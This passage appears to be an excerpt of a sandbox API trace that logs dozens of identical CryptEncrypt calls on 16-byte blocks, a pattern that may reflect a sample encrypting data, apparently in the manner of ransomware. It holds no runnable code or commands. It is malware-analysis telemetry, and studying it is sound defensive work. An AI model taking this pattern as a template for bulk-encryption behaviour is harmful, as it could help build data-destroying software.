pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.377] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.378] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.379] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.380] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, 